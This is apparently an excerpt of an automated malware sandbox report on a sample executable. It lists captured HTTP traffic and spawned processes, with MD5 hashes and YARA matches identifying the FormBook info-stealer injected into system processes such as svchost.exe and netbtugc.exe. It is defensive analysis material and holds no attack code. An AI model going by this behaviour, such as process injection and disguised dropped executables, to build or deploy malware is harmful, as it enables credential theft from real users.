Oct 8, 2024 16:36:24.174876928 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 14:36:24 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Target ID:	0
Start time:	10:33:22
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\fJD7ivEnzm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fJD7ivEnzm.exe"
Imagebase:	0x400000
File size:	1'393'415 bytes
MD5 hash:	46BB75D27887B28474A3EB4570D89CA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	10:33:23
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fJD7ivEnzm.exe"
Imagebase:	0x4e0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	10:33:36
Start date:	08/10/2024
Path:	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe"
Imagebase:	0xf0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	10:33:39
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\netbtugc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\netbtugc.exe"
Imagebase:	0x350000
File size:	22'016 bytes
MD5 hash:	EE7BBA75B36D54F9E420EB6EE960D146
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	10:33:51
Start date:	08/10/2024
Path:	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe"
Imagebase:	0xf0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	10:34:13
Start date:	08/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true